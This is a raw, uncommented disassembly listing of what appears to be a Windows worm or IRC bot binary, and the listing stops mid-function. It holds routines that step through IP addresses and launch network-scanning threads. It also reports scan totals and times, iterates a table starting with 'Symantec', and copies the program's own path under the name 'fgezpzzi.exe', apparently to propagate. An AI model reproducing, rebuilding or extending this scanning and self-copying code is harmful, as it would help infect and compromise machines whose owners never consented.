sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; sub_40B425+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B90E(int,char *Str,int)
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset asc_431B94 ; "-"
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset asc_431B88 ; " "
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B9DD(int,char *Str,int)
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+Dest]
push dword_4CE4DC
push offset asc_431BB4 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BA49(int,char *Str,int)
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+Dest]
push dword_4CE718
push offset asc_431BFC ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BA9E(int,char *Str,int)
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
Source = byte ptr -1000h
Dest = byte ptr -800h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call __alloca_probe
push edi
lea eax, [ebp+Dest]
push offset asc_431C48 ; "-"
push eax ; Dest
call _sprintf
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+Source]
push offset asc_431C38 ; " "
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+Source]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao
Dest = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
Format = byte ptr -134h
Str = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+Format]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+Format]
push eax
call dword_4CBA14 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_4317F8, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+Format]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+Dest]
push offset asc_431C98 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+var_1EC]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40BC52
lea eax, [ebp+Str]
loc_40BC52: ; CODE XREF: sub_40BB65+E5j
push eax ; Format
lea eax, [ebp+var_1DC]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BCB7: ; CODE XREF: sub_40BB65+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: sub_40BB65+44j
push [ebp+var_4]
lea eax, [ebp+Format]
push eax
lea eax, [ebp+Dest]
push offset asc_431C64 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
add esp, 2Ch
push edi
call ds:dword_4270D4 ; ExitThread
sub_40BB65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BD1A(int,char *Str,int,int)
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431CE8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+Dest]
push offset asc_431CC8 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BD91(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp
var_210 = dword ptr -210h
Source = byte ptr -204h
var_4 = byte ptr -4
Format = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
call ds:dword_427078 ; GetModuleFileNameA
mov edi, offset Str ; "fgezpzzi.exe"
push 103h ; Count
push edi ; Source
push offset byte_4CDCE0 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CDDF0 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CDDF0 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+Source]
push dword_4CDDEC
push offset asc_42C204 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 5 ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset sub_412197
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_431E08 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+Source]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
call ds:dword_427078 ; GetModuleFileNameA
push 103h ; Count
push edi ; Source
push offset byte_4CDF88 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh ; Count
jnz short loc_40BF68
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CE098 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CE098 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+Source]
push dword_4CE094
push offset asc_431DD4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 4 ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset sub_40F3AA
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_431DA0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh ; Count
jnz short loc_40C08C
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4CDB48 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4CDB48 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+Source]
push offset asc_431D70 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 7 ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset sub_40F108
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CDB3C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_431D38 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset byte_4CE3B4
push 104h
push esi
push ebx
call ds:dword_427078 ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+Format]
push eax ; Format
push offset byte_4CE12C ; Dest
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_42C18C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_431D04 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C267(int Dst)
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
Dst = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Dst]
push esi
push 4 ; Size
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4CB9D0 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C2AF(char *Src,int)
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+Src] ; Str
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
